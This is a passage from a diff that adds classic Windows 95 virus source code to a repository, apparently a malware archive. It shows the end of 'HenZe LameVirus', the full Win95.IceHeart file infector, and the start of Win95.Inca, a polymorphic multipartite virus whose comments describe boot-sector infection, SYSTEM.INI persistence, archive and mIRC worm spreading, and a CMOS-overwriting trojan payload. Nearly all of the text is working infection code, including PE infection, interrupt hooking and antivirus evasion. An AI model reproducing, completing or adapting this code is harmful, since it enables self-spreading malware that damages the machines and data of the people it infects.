ECX,0 + JNZ BU + CMP ESP,0 + JNZ Cerrar + +PO: + MOV ESI,EDI + ADD ESI,4 + CMP DWORD PTR [ESI], 'DAPX' + JNZ PE + SUB ESP,4 + MOV [ESP],EDI + MOV EBX,OFFSET MapAddress + ADD EBX,EBP + SUB EBX,OFFSET DELTA + SUB EDI,[EBX] + ADD EAX,28H + MOV [EAX],EDI + MOV EBX,OFFSET BASE + ADD EBX,EBP + SUB EBX,OFFSET DELTA + ADD EDI,[EBX] + ADD EDI,5 + MOV EDX,OFFSET MILO + ADD EDX,EBP + SUB EDX,OFFSET DELTA + MOV [EDX],EDI + + MOV EDI,[ESP] + ADD ESP,4 + + MOV ESI,OFFSET MEGAMIX + ADD ESI,EBP + SUB ESI,OFFSET DELTA + MOV ECX,MIX_SIZ/4 + +BASTARDO_VIRUS: + + MOV EAX,[ESI] + MOV [EDI],EAX + ADD ESI,4 + ADD EDI,4 + SUB ECX,1 + CMP ECX,0 + JNZ BASTARDO_VIRUS + +UnMapFile: + + MOV EAX, OFFSET MapAddress + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX, OFFSET UnmapViewOfFile + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + +CloseMap: + + MOV EAX, OFFSET MapHandle + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX, OFFSET CloseHandle + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + + +Cerrar: + + MOV EAX,OFFSET OLD_EIP + ADD EAX,EBP + SUB EAX,OFFSET DELTA + MOV EBX,[ESP] + MOV [EAX],EBX + ADD ESP,4 + + MOV EAX, OFFSET FileHandle + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX, OFFSET CloseHandle + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + + +TOPO: + + + MOV EAX, offset Win32FindData + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + + MOV EAX, OFFSET SearcHandle + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX, OFFSET FindNextFile + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + CMP ESP,0 + JNZ LOOPER + + +APIs: + DB "CreateFileA",0 + DB "CloseHandle",0 + DB "FindFirstFileA",0 + DB "FindNextFileA",0 + DB "MapViewOfFile",0 + DB "UnmapViewOfFile",0 + DB "CreateFileMappingA",0 +Zero_ DB 0 +BASE DD 0 + +IMASK DB '*.ExE',0 + DB 'HenZe LameVirus BY HenKy',0 + +align 4 + +FILE_END LABEL BYTE + +APIaddresses: + +CreateFile DD 0 +CloseHandle DD 0 +FindFirstFile DD 0 +FindNextFile DD 0 +MapViewOfFile DD 0 +UnmapViewOfFile DD 0 +CreateFileMappingA DD 0 +GPA DD 0 +SearcHandle DD 0 +FileHandle DD 0 +MapHandle DD 0 +MapAddress DD 0 + +FILETIME STRUC + +FT_dwLowDateTime DD ? +FT_dwHighDateTime DD ? + +FILETIME ENDS + +Win32FindData: + +WFD_dwFileAttributes DD ? +WFD_ftCreationTime FILETIME ? +WFD_ftLastAccessTime FILETIME ? +WFD_ftLastWriteTime FILETIME ? +WFD_nFileSizeHigh DD ? +WFD_nFileSizeLow DD ? +WFD_dwReserved0 DD ? +WFD_dwReserved1 DD ? +FNAME DD 0 + DD 0 + DD 0 + DD 0 + DD 0 + DD 0 +align 4 + + +MEM_END LABEL BYTE + +EXITPROC: + + PUSH 0 + CALL ExitProcess + +ENDS +END MEGAMIX diff --git a/LegacyWindows/Win95.IceHeart.asm b/LegacyWindows/Win95.IceHeart.asm new file mode 100644 index 00000000..40ada606 --- /dev/null +++ b/LegacyWindows/Win95.IceHeart.asm @@ -0,0 +1,285 @@ +;last review 29.06.1999 + +;"—? ­? ??­? - ??? «?€..." +;Win95.IceHeart v1.5 +;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX +jumps +.386 +.model flat,stdcall + +extrn ExitProcess:PROC +.code +start: +_start: + cld + call _Next +_Next: + pop esi + sub esi,offset _Next + push ebp + cmp byte ptr [esp+3+4],0BFh + jne _ExitNow;NT + mov ebp,_krnl_begin+178h+0Ch-40 +_DoSearchSection: + add ebp,40 + mov edx,[ebp];first rva + test edx,edx + jz _ExitNow + cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr + jne _DoSearchSection + mov eax,[ebp+0Ch+40-0Ch];second rva + mov ebx,eax + sub eax,edx;rva delta + sub eax,[ebp+8-0Ch];virtual size + cmp ah,(virlen_in_mem/256)+1 + jb _DoSearchSection + ;in ebx second rva + ;in edx virtual size +_SectionForUs: + sub ebx,eax + lea edi,[_krnl_begin+ebx] + + lea ebp,[edi+offset _SecondStart-offset _start] + pusha + lea esi,[esi+offset _start] + +_ResidencyCheck: + xor ecx,ecx + cmp byte ptr [edi],cl + jne _ExitNow2 + mov ch,(virlen_in_mem/256)+1 + rep movsb + call ebp +_ExitNow2: + popa +_ExitNow: + pop ebp + jmp dword ptr [offset _old_eip+esi] + +_SecondStart: + mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah] + sub ebp,offset _SecondStart + lea edi,[offset _old_vxd_call+ebp] + push esi + movsd + movsw + lea eax,[ebp+offset _Handler] + pop edi + stosd + mov ax,cs + stosw +_InitSomeVars: + mov dword ptr [offset _RelocFix+ebp+1],ebp + lea eax,[offset _old_vxd_call+ebp] + mov dword ptr [ebp+offset _JmpFword+2],eax + retn + +_Handler: + pusha +_RelocFix: + mov ebp,11223344h +_CheckBusyFlag: + lea ecx,[offset _busy_flag+ebp] + xor edx,edx + cmp byte ptr [ecx],dl + jne _Exit_Handler + mov dl,0C0h + cmp eax,2A0040h;id of DeviceIoControl + jne _CheckInt21Call +_CheckAvpCalls: + cmp word ptr [edx+esp+2],22h + jne _Exit_Handler + not dword ptr [edx+esp];i think, avp likes api code,like this ;) + +_CheckInt21Call: + cmp eax,2A0010h;calling int 21h ? + jne _Exit_Handler + cmp word ptr [esp+44],716Ch;openfile ? + je _Infect_It + +_Exit_Handler: + popa +_JmpFword: + jmp fword ptr ds:[offset _old_vxd_call] + +_Infect_It: + + not byte ptr [ecx] + mov edi,esi + xor eax,eax + cld + push ecx + + push eax + + mov ecx,esp + repnz scasb + pop ecx + + mov eax,dword ptr [edi-5] + or eax,20202000h + cmp eax,'exe.' +; cmp eax,'eci.' + + + jne _ExitInfector +_InfectFile: + xor byte ptr [offset _Name+4+ebp],13 + +_AllocStack: + mov ch,4;1024 + sub esp,ecx + push ecx +_OpenFile: + xor edi,edi + xor eax,eax + cdq + + inc edx + mov ebx,edx + inc ebx + mov ax,716Ch + call _Int21h + xchg eax,ebx + jc _FreeStack + mov ah,3Fh + call _Process_1024b + cmp ecx,eax + jne _CloseJmp + mov eax,[edi+3Ch] + shr ecx,1 + cmp eax,ecx + jae _CloseJmp + add edi,eax + mov eax,[edi] + inc eax;heuristics sucks + cmp ax,'EP'+1;sign + jne _CloseJmp + cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size + je _CloseJmp +_CheckAlreadyInfected: + + + cmp byte ptr [edi+1Ah],al + je _CloseJmp + mov byte ptr [edi+1Ah],al + test byte ptr [edi+23],22h;dll or fixed image + jne _CloseJmp + mov byte ptr [edi+23],0;strip reloc + mov edx,dword ptr [edi+160];fixup section + test edx,edx + je _CloseJmp + push edx + xchg dword ptr [edi+40],edx;entry point + add edx,dword ptr [edi+48+4];image base + mov dword ptr [offset _old_eip+ebp],edx + pop edx + +_AnalyzePlaceInFixupArea: + + mov ecx,[edi+6] + lea esi,[edi+0F8h+12];rva + +_DoAnalyzeSections: + lodsd + cmp eax,edx;search section with rva=fixup rva + je _OkiFixupOur + add esi,40-4 + loop _DoAnalyzeSections +_CloseJmp: + jmp _Close +_OkiFixupOur: + lodsd;phys size + mov edx,virlen + cmp eax,edx + jb _CloseJmp + mov dword ptr [esi-12],edx + push edx + lodsd;phyz ofs + + +_Int21CallOptimization: + lea esi,[ebp+offset _Int21h] + + +_SeekToEnd: + + push eax + pop dx + pop cx + mov ax,4200h + call esi + +_WriteSelf: + mov ah,40h + lea edx,[ebp+offset _start] + pop ecx + call esi + +_WriteHeader: + xor eax,eax + mov ah,42h + cdq + call esi + + mov ah,40h + call _Process_1024b + +_Close: + mov ah,3Eh + call _Int21h + +_FreeStack: + pop ecx + add esp,ecx + +_ExitInfector: + pop ecx + not byte ptr [ecx] + jmp _Exit_Handler + + +_Process_1024b: + lea edi,[esp+4+4] + xor ecx,ecx + mov ch,4;1024 + mov edx,edi +_Int21h: + push ecx + push ebp + push ecx eax + push 2A0010h + mov ebp,_krnl_begin+_1st_export + call ebp + pop ebp + pop ecx + retn + + + + +_Name db 'Win95.iCE-hEART',0 +_Msg db '? ? ?? , ? ???? ??§?¬­ «??«? !',0 + +_old_eip dd offset ExitProcess +virlen equ $-offset start +_old_vxd_call db 6 dup ('') +_busy_flag db '' +virlen_in_mem equ $-offset start + +ends + +.data + db 13,10 + +_krnl_begin equ 0BFF70000h +_1st_export equ 13D4h +end start + + + + + + + + diff --git a/LegacyWindows/Win95.Inca.asm b/LegacyWindows/Win95.Inca.asm new file mode 100644 index 00000000..cd3ee0cf --- /dev/null +++ b/LegacyWindows/Win95.Inca.asm @@ -0,0 +1,2929 @@ +;[W95.INCA] Multipartite PE/BOOT polymorphic mIRC spreading infector +;Copyright 1998 (c) Vecna +; +;This is my first attempt at w95 plataform. Is a multipartite infector of PE +;filez, focused in fast spreading. It infect PE files by adding a new section +;randomly named and a polymorphic VxD-dropper. It infect ARJ/ZIP/RAR/LHA/PAK +;by adding a random named COM dropper, encripted by a polymorphic loop. It +;infect boot of floppies by adding a polymorphic loader to their boot sectorz. +;It spread over internet using DCC protocol provided by mIRC, using a worm to +;spread over channelz. In the internet part is also the payload activation. +; +;The polymorphic decriptor in PE files isnt based in math instructionz, but +;in swapping. This novel technic of encription should provide problemz to +;disinfection and detection i hope, as not the whole code is "encripted" , but +;just some chunkz. The polymorphic decriptor is filled by lotz of conditionalz +;and unconditional jumpz. +; +;The polymorphic engine that generate the droppers and the boot loader keep +;track of the contentz of all regz and flagz, as in advanced engines as +;Uruguay or Level3. This mean that if i need AX holding 0x0202, as for load 2 +;sectorz in the boot loader, i can obtain this values using XOR AX, ??? or +;ADD AX, ??? and like. +; +;This source isnt compilable as is. Use the pre-compiled virus. +; +; +;Here's the description of w95/Inca by DrWeb, translated from russian to +;english by Lurker (thankz!!) +; +; +;Win95. Inca +; +; Dangerous resident polymorphic multipartite virus. Win95.Inca +; infects EXE files in a format of PE (Portable Executable) for +; operation systems Windows95/98 and boot sectors of floppy +; disks. And also Win95.Inca is a virus-worm for ARJ, LHA, LZH, +; PAK, RAR and ZIP-archives and for the mIRC32 program. +; +; When infected PE file is started, the virus receives management +; and polymorphic decryptor deciphers the base code of a virus. +; And this decoding is made by enough unusual way - in initial variant +; the base virus code will contatin the table of indexes or displacements +; of original bytes in the virus body. And it is necessary to understand +; that decoding in this case will be substitution or compilation +; original bytes on place of their one-byte indexes or displacements. +; After given "assembly" of the code, virus determines (by +; "already standard" for this type of viruses algorithm) the address +; of interesting for it functions in KERNEL32.DLL and creates +; a file C:\W95INCA.COM, in which file virus writes a polymorphic +; DOS COM dropper. +; +; This polymorphic 16bit DOS-code is already generated on infection of +; the PE EXE-file, and because of that any "additional efforts" for +; creation of a polymorphic copies on the given stage are not undertaken. +; Then the created file is closed. +; This dropper file is executed by the virus and then, after some delay, +; deleted. Further the virus returnes back management to the +; infected host PE-file. +; This is all actions, which carries out a virus code in the PE EXE-file. +; Therefore, it is possible to consider all infected PE EXE-files, as +; droppers. +; +; The C:\W95INCA.COM file, executed by the virus, determines Windows +; directory (WINDIR) and tries to create in the \WINDOWS\SYSTEM folder +; a file with the name FONO98.VXD. +; If this attempt is successful, the virus unpacks +; with the elementary algorithm, a code of the 32bit VxD-driver, +; which is contained inside of the 16bit DOS-code, and writes it in +; this newly created FONO98.VXD file. +; +; Further virus opens a configuration Windows file SYSTEM.INI, searches +; in it for the section "[386Enh]" and just below this line +; writes a line "device=fono98.vxd". +; +; After described manipulations, or, if the line "device=fono98.vxd" +; is already is present in the SYSTEM.INI, or file FONO98.VXD +; was created earlier in the \WINDOWS\SYSTEM folder, or, +; if it wasn't possible to find the WINDOWS folder, virus finishes its +; work and returns management to DOS. +; +; After the system reboot and on the next startof Windows virus +; VxD-driver FONO98.VXD is loaded by the system into a memory and +; runned. +; +; In a first task, the virus driver deletes system VxD-driver HSFLOP.PDR +; in the catalogue \WINDOWS\SYSTEM\IOSUBSYS folder. Then virus reads +; in memory a code from its own FONO98.VXD and creates in memory +; three different polymorphic copies: for infection PE EXE-files, +; for infection of boot-sectors of floppies and for creation of +; 16bit DOS droppers in a format of COM-files. +; Futher, in a current session, and untill the next system reboot, +; virus will infect the specified objects only with these copies. +; +; Win95.Inca concerns to a class of the "slow polymorpics". +; Further virus "intercepts" IFSMgr FileSystemApiHook and Int 13h +; (disk operations), establishing on them its own events handlers. +; +; IFSMgr handler of the virus supervises opening files. On the +; opening files with extensions EXE and SCR, virus checks their +; internal format, and if the opening files are Portable Executable, +; virus infects them, by creating additional code section with a +; random name in the header of PE-file and writing in its area virus +; polymorphic code. On opening of archive files with the extensions +; LHA, LZH, PAK, ZIP, ARJ or RAR, the virus adds to the given +; archives its 16bit polymorphic code (worm) in a format of COM-file, +; also modifies header of the archive files in such a manner that +; the this virus-worm appears placed in the archive in a unpacked +; form (store format) also receives a random name, consisting from +; four letters, and with the extension COM or EXE (for example, AAAA.COM +; or ABCD.EXE). On opening of the MIRC32.EXE file (program for +; "chat" over the Internet) the virus writes or adds in the end +; of the configuration file MIRC.INI, line " [fileserver]" and +; "Warning = Off". +; +; Also virus creates a new (if they exist on a disk) files SCRIPT.OLD, +; SCRIPT.INI, INCA.EXE and REVENGE.COM. +; In the file INCA.EXE, virus writes a code of the polymorphic 16bit +; virus-worm. In the file REVENGE.COM - 231 bytes of the trojan code, +; that rewrites the content of the CMOS-memory. +; [*Authors Note - It put a password in AMI/AWARD BIOS*] +; +; And in the file SCRIPT.INI virus writes text of the virus MIRC-worm. +; +; On start of the MIRC32.INI under scenario of the SCRIPT.INI, +; it runs the file INCA.EXE. Further under the same scenario it +; tries to send files SCRIPT.INI (mIRC-worm) and INCA.EXE (virus +; dropper) to computers of all members of the "chat conversation" in +; the Internet. +; If during the chat there will appaer a text string "El_inca", +; under the scenario of the SCRIPT.INI - trojan program REVENGE.COM +; will be launched. If somebody will "tell a word" "ancev", +; the virus script "will allow" him to access disk drive C:. +; Even if this person is for several thousand miles from the infected +; computer. +; +; And if at the time of "conversation" there will appear a text +; "_29A_", the program MIRC32.EXE will self-exits. +; +; Virus handler of the disk operations on the Int 13h, supervises +; the reading of the boot sectors of the floppes in the drive A: +; and on an opportunity infects them, by replacing the original +; boot loader with polymorphic, and writing on a disk its own +; copies. +; +; On a booting from such infected floppy, virus loader will +; receive management, and will read to memory all sectors with the +; virus code, "will intercept" Int 1Ch (timer), and then Int 21h. +; A task of the Int21h handler is simple - on the first +; opportunity, it tries to create FONO98.VXD in the +; C:\WINDOWS\SYSTEM folder and to register +; it in the SYSTEM.INI configuration file (in the "[386Enh]" section). +; The task is exactly the same, as well as performed by a +; C:\W95INCA.COM file-dropper, algorithm of which was +; described in the beginning. +; A difference only that the dropper C:\W95INCA.COM determines +; the lochation of Windows system folder fome a variable WINDIR. +; And Int21h handler tries to place dropper in the C:\WINDOWS\SYSTEM +; folder. +; After the given attempt (successful or not) the virus +; "releases" Int21h and neutralizes its own copy in memory. +; +; The virus contains text "El Inca virus". +; +; The size of the virus VxD-driver is 15327 bytes. +; +; So, all infected objects can be considered as virus-hosts or droppers, +; except created by the virus VxD-driver. +; This VxD-driver installs virus copy in memory, and hits all other +; objects. However you see that it does not infect +; "similar to itself" VxD-drivers. VxD-driver is only the carrier +; of an infection, but it is not an infected object. +; + + + MINSIZEINFECT EQU 8*1024 ;zopy me - i want to trawel + + + BPB STRUC + bpb_jmp db 3 dup (?) + bpb_oem db 8 dup (?) + bpb_b_s dw ? + bpb_s_c db ? + bpb_r_s dw ? + bpb_n_f db ? + bpb_r_e dw ? + bpb_t_s dw ? + bpb_m_d db ? + bpb_s_f dw ? + bpb_s_t dw ? + bpb_n_h dw ? + bpb_h_d dw ? + bpb_sht db 20h dup (?) + BPB ENDS + +.386p +.XLIST + Include Vmm.Inc + Include Ifs.Inc + Include Ifsmgr.Inc +.LIST + +Declare_Virtual_Device FONO98, 1, 0, FONO98_Control, Undefined_Device_ID,,, + +VxD_Locked_Code_Seg + + IncaName db 'INCA.EXE', 0 ;Vars used by the virus + NextHook dd 0 + FileHandle dd 0 + FileSize dd 0 + FileAttr dd 0 + Pad dd 0 + BufferOneHandle dd 0 + BufferTwoHandle dd 0 + VxDCompressedBuffer dd 0 + VxDCompressedSize dd 0 + PolyBootSize dd 0 + PolyBootBuffer dd 0 + PolyDOSFileBuffer dd 0 + PolyDOSFileSize dd 0 + PolyPESize dd 0 + PolyPEBuffer dd 0 + VMF_handle dd 0 + VMF_size dd 0 + VMF_base dd 0 + OurFile db 0 + FloppyInUse db 0 + UpDown db 0 + Compressed db 0 + CrpTbl db 200h dup (0) + SectorBuffer Equ This Byte + CrcTab db 2048 dup (0) + FileName Equ This Byte + VMM32Path db MAX_PATH dup (0) + + + + ZIPRHeaderId db 'PK' ;Structures used when + ZIPRSignature db 01, 02 ;infecting archivers + ZIPRVerMade dw 10 + ZIPRVerNeed dw 0ah + ZIPRFlags dw 0 + ZIPRMethod dw 0 + ZIPRTimeDate dd 12345678h + ZIPRCRC32 dd 0 + ZIPRCompressed dd 0 + ZIPRUncompressed dd 0 + ZIPRSizeFilename dw ZIPRNameLenght + ZIPRExtraField dw 0 + ZIPRCommentSize dw 0 + ZIPRDiskNumba dw 0 + ZIPRInternalAttr dw 01 + ZIPRExternalAttr dd 21h + ZIPROffsetLHeaderR dd 0 + ZIPRFilename db 'AAAA.COM' + ZIPRNameLenght Equ This Byte - offset32 ZIPRFilename + ZIPRHeaderSize Equ This Byte - offset32 ZIPRHeaderId + + ZIPLHeaderId db 'PK' + ZIPLSignature dw 0403h + ZIPLVersionNeed dw 0010 + ZIPLFlags dw 80h + ZIPLMethod dw 0 + ZIPLDateTime dd 12345678h + ZIPLCRC32 dd 0 + ZIPLCompressed dd 0 + ZIPLUncompressed dd 0 + ZIPLSizeFilename dw ZIPLNameLenght + ZIPLExtraField dw 0 + ZIPLFilename db 'AAAA.COM' + ZIPLNameLenght Equ This Byte - offset32 ZIPLFilename + + ZIPReadBuffer Equ This Byte + ZIPEHeaderId db 'PK' + ZIPSignature dw 0 + ZIPNoDisk dw 0 + ZIPNoStartDisk dw 0 + ZIPEntryDisk dw 0 + ZIPEntrysDir dw 0 + ZIPSizeDir dd 0 + ZIPOffsetDir dd 0 + ZIPCommentLenght dw 0 + ZIPEHeaderSize Equ This Byte - offset32 ZIPEHeaderId + + ARJHeaderId dw 0ea60h + ARJHeaderSize dw offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize + ARJ1HEaderSize db offset32 ARJFilename-offset32 ARJ1HeaderSize + ARJVersionDone db 6 + ARJVersionNeed db 1 + ARJHostOS db 0 + ARJFlags db 0 + ARJMethod db 0 + ARJType db 0 + ARJReserved db 0 + ARJDateTime dd 12345678h + ARJCompressedSize dd 0 + ARJUncompressedSize dd 0 + ARJFileCRC dd 0 + ARJEntryname dw 0 + ARJAccessMode dw 21h + ARJHostData dw 0 + ARJFilename db 'AAAA.COM',0 + ARJComment db 0 + ARJHeaderCRC dd 0 + ARJExtHeader dw 0 + ARJEnd dw 0ea60h, 0000h + + RARHeaderCRC dw 0 + RARHeaderType db 74h + RARFileFlags dw 08000h + RARHeaderSize dw offset32 RARHeaderEnd - offset32 RARHeaderCRC + RARCompressedSize dd 0 + RARUncompressedSize dd 0 + RARHostOS db 0 + RARFileCRC dd 0 + RARDateTime dd 12345678h + RARVersionNeed db 14h + RARMethod db 30h + RARFileNameSize dw offset32 RARHeaderEnd - offset32 RARFileName + RARFileAttribute dd 21h + RARFileName db 'AAAA.COM' + RARHeaderEnd Equ This Byte + + LHASig db LHAHeaderSize-2 + LHAHeaderCRC db 0 + LHAMethod db '-lh0-' + LHACompressedSize dd 0 + LHAUncompressedSize dd 0 + LHADateTime dd 12345678h + LHAFlags dw 120h + LHANameLenght db offset32 LHASizeFilename - offset32 LHAFilename + LHAFilename db 'AAAA.COM' + LHASizeFilename Equ This Byte + LHACRC16 dw 0 + LHAStuff db 'M' + LHAStuff2 dw 0 + LHAHeaderSize Equ This Byte - offset32 LHASig + + + + MyVxDName db "FONO98.VXD",0 + SizeVxDName Equ This Byte - offset32 MyVxDName + + FloppyVxD db "IOSUBSYS\HSFLOP.PDR", 0 + SizeFloppyVxDName Equ This Byte - offset32 FloppyVxD + + + + BootLoaderSize Equ BootLoaderEnd-BootLoader + BootLoader: ;This code is inserted in + cli ;0/1/15 in 1.44 floppies + xor ax, ax + mov ss, ax + mov sp, 7c00h ;It is loaded by the + sti ;polymorphic loader inserted + cld ;in the boot code + mov ds, ax + dec word ptr ds:[413h] + int 12h ;reserve 1kb and copy ourself + ror ax, 10 ;to the reserved hole + mov es, ax + call delta + delta: + pop si + push ds + sub si, offset delta ;full of bugs and hardcoded + xor di, di ;references, as you can see :( + push cs + mov cx, 200h + pop ds + rep movsw ;copy 1kb of code + pop ds + push es + push offset hstart + retf ;continue in TOM + hstart: + xor ax, ax + mov es, ax + mov ax, 0201h + mov cx, 0001h + mov dx, 0180h + mov bx, 7c00h + int 13h ;read HDD boot sector + cmp word ptr [bx+3h], 'SM' + jne fuck + cmp word ptr [bx+1f1h], 'IW' + jne fuck + xor eax, eax + mov ds, ax + mov dword ptr ds:[21h*4], eax ;initialize int21 + mov ax, offset int1c + mov si, 1ch*4 + mov di, offset old1c + cli + xchg ax, word ptr ds:[si] + push cs + pop es + stosw + mov ax, cs + xchg ax, word ptr ds:[si+2] ;hook int1c + stosw + sti + fuck: + cld + xor ax, ax + mov di, offset loader + mov cx, offset fuck-offset loader + rep stosb ;wipe some parts of loader + db 0eah ;from memory to reduce + dw 7c00h ;footprints + dw 0 + Zopy0: + push cs + cld + mov di, offset int1c + mov cx, offset int1c-offset e_vxd + sub ax, ax + pop es + rep stosb ;wipe all virus loader code + no_4b00: ;(less some bytes) + popad + pop es + pop ds + int 0ffh + retf 2 + int1c: + push ds + pushad + push 0 + pop ds + mov cx, word ptr ds:[21h*4+2] + db 081h, 0f9h ;cmp cx, 0 + dw 0 + i1c_check equ word ptr $ -2 + je not_yet ;did int21 seg changed? + mov word ptr cs:[i1c_check], cx + mov cx, 0 + time_2 equ word ptr $ -2 + inc word ptr cs:[time_2] ;increase number of changes + cmp cl, 3 + jnz not_yet ;changed 3 times? + mov esi, 21h*4 + mov edi, 0ffh*4 + mov eax, dword ptr ds:[esi] + mov dword ptr ds:[edi], eax ;copy int21 to int0ff + mov ax, cs + rol eax, 16 + mov ax, offset int21 + mov dword ptr ds:[esi], eax ;hook int21 to our code + mov eax, dword ptr cs:[old1c] + mov dword ptr ds:[1ch*4], eax ;restore int1c + not_yet: + popad + pop ds + db 0eah + old1c dd 0 + read_vxd: + mov ax, 8000h ;if the floppy was retired, + mov ds, ax ;shit happen... :( + mov es, ax + sub bx, bx + mov dx, 0000h + call read_last_track ;read 79/0/1 and 79/1/1 to + jc error ;mem + mov dx, 0100h + add bx, (18*512) + read_last_track: ;init FDD controller + sub ax, ax + int 13h + mov ax, 0212h + mov cx, 4f01h + int 13h ;read track(head is selected + error: ;above) + ret + int21: + push ds + push es + pushad + push 0 + pop ds + cmp ax, 4b00h ;is first exec? + jne no_4b00 + mov eax, dword ptr ds:[0ffh*4] + mov dword ptr ds:[21h*4], eax ;restore int21 + cld + call infect_system ;drop our vxd + jmp Zopy0 ;and wipe loader out of mem + infect_system: + call read_vxd + jc error + sub si, si ;RLE compressed vxd is in mem + mov di, ((18*512)*2) + mov cx, word ptr cs:[c_vxd] + call uncompress16 ;uncompress VXD + push cs + pop ds + call vxd + db 'C:\WINDOWS\SYSTEM\FONO98.VXD', 0 + vxd: ;when i said hardcoded + pop dx ;reference, is this i mean :(( + mov ah, 5bh + mov cx, 11b + int 0ffh ;only create if not exists + jc error + xchg ax, bx + push es + pop ds + mov cx, word ptr cs:[e_vxd] + mov ah, 40h + mov dx, ((18*512)*2) + int 0ffh ;write uncompressed vxd + jc close + mov ah, 3eh + int 0ffh + push cs + call system + db 'C:\WINDOWS\SYSTEM.INI', 0 ;another hardcoded reference :( + system: + pop dx + pop ds + mov ax, 3d02h + int 0ffh ;modify system.ini + jc error + mov ax, 8000h + mov ds, ax + sub dx, dx + mov ah, 3fh + mov cx, -1 + int 0ffh + jc close ;read whole system.ini + push cs + pop es + mov si, dx + mov di, offset enh386 + mov cx, 10 + search: + push di + push si + push cx + rep cmpsb ;search for [Enh386] section + je found + pop cx + pop si + pop di + inc si + dec ax + jnz search + jmp close + found: + add sp, 6 + mov di, ax + pusha + mov di, offset device + mov cx, 19 + rep cmpsb ;we are already registered? + popa + je close + mov dx, si + mov ax, 4200h + int 0ffh + jc close + mov ah, 40h + mov cx, 19 + mov dx, offset device + int 0ffh ;write our device line + jc close + mov ah, 40h + mov cx, di + mov dx, si + int 0ffh ;and rest of file + close: + mov ah, 3eh + int 0ffh + ret + uncompress16: + mov dx, di ;RLE decompression + push dx + mov bx, si + add bx, cx + next: + lodsb + or al, al + jne store + lodsw + mov cx, ax + xor ax, ax + rep stosb + dec di + store: + stosb + cmp di, 0ff00h + ja abortnow ;a safeguard to avoid mem + cmp si, bx ;overwriting + jbe next + abortnow: + pop bx + mov cx, di + sub cx, bx + ret + enh386 db '[386Enh]', 13, 10 + device db 'device=fono98.vxd', 13, 10 + VxDCompressSize dw 0 + VxDOriginalSize dw 0 + BootLoaderEnd Equ This Byte + + LoaderSize Equ LoaderEnd-Loader + InfectWindows95 PROC ;This code is the main dropper + call Delta ;for the viral VXD + Delta: + pop bp + sub bp, offset Delta + mov es, es:[2ch] ;get environment + mov di, -1 + SearchWINDIR: + inc di + cmp di, 1024 + jae ReturnBack + cmp byte ptr es:[di], 'w' ;found a 'w'? + jne SearchWINDIR + push si + push di + lea si, [bp+offset WinDir] + mov cx, 7 + rep cmpsb ;check if is windir= + pop di + pop si + jne SearchWINDIR ;if not, keep searching + add di, 7 + mov word ptr [bp+WinDX], di + mov word ptr [bp+WinDS], es ;save windows directory + push es + pop ds + mov si, di + push cs + pop es + lea di, [bp+offset Buffer] + NextLetter: + lodsb + or al, al + je CopyString + stosb + jmp NextLetter ;copy win95 dir to buffer + CopyString: + push cs + pop ds + lea si, [bp+offset SysDir] + NextLetterAgain: + lodsb + stosb + or al, al + jnz NextLetterAgain ;append path and vxd name + push cs + push cs + pop es + pop ds + mov ah, 5bh + mov cx, 011b + lea dx, [bp+offset Buffer] + int 21h ;create vxd if it not exists + jc ReturnBack + push ax + lea si, [bp+offset EndLoader] + mov di, si + add di, 30000 + mov cx, word ptr [bp+VxDSize1] + call Uncompress16 ;uncompress vxd + pop bx + mov ah, 40h + mov cx, word ptr [bp+VxDSize2] + int 21h ;write vxd + jc Close + mov ah, 3eh + int 21h + InfectSYSTEMINI: + mov si, word ptr [bp+WinDX] + mov ds, word ptr [bp+WinDS] + lea di, [bp+offset Buffer] + NextLtr: + lodsb + or al, al + je CopyStr + stosb + jmp NextLtr ;copy windows dir to buffer + CopyStr: ;again + push cs + pop ds + lea si, [bp+offset SysIni] ;append system.ini + NxtLetter: + lodsb + stosb + or al, al + jnz NxtLetter + mov ax,3d02h + lea dx, [bp+offset Buffer] + int 21h + jc ReturnBack ;open system.ini + xchg ax, bx + mov ah, 3fh + mov cx, -1 + lea dx, [bp+offset VxDHere] + int 21h + jc Close + mov si, dx + lea di, [bp+offset Enh386] + mov cx, 10 + Search: + push di + push si + push cx + rep cmpsb ;search for right section + je Found + pop cx + pop si + pop di + inc si + dec ax + jnz Search + jmp Close + Found: + add sp, 6 + mov di, ax + pusha + lea di, [bp+offset Device] + mov cx, 19 + rep cmpsb ;already infected? + popa + je Close + mov dx, si + sub dx, offset VxDHere + sub dx, bp + mov ax, 4200h + int 21h + jc Close + mov ah, 40h + mov cx, 19 + lea dx, [bp+offset Device] + int 21h ;write our device line + jc Close + mov ah, 40h + mov cx, di + sub cx, 10h + mov dx, si + int 21h + Close: + mov ah, 3eh + int 21h + ReturnBack: + mov ax, 4c00h + int 21h ;exit to DOS + Uncompress16: + mov dx, di + push dx ;uncompress RLE + mov bx, si ;(hmm... a bit redundant...) + add bx, cx + Next: + lodsb + or al, al + jne Store + lodsw + mov cx, ax + xor ax, ax + rep stosb + dec di + Store: + stosb + cmp di, 0ff00h + ja AbortNow + cmp si, bx + jbe Next + AbortNow: + pop bx + mov cx, di + sub cx, bx + ret + Enh386 db '[386Enh]', 13, 10 + Device db 'device=fono98.vxd', 13, 10 + WinDir db 'windir=' + SysIni db '\SYSTEM.INI', 0 + SysDir db '\SYSTEM\' + VxDName db 'FONO98.VXD',0 + WinDS dw 0 + WinDX dw 0 + UpDown db 0 + Compressed db 0 + Buffer db 64 dup(0) + VxDSize2 dw 0 + VxDSize1 dw 0 + EndLoader Equ This Byte + VxDHere Equ This Byte + LoaderEnd Equ This Byte + + +BeginProc Compress32 + mov edx, esi ;compressor of modificated RLE + add edx, ecx ;coded in 32bit + xor eax, eax + xor ecx, ecx + push edi + 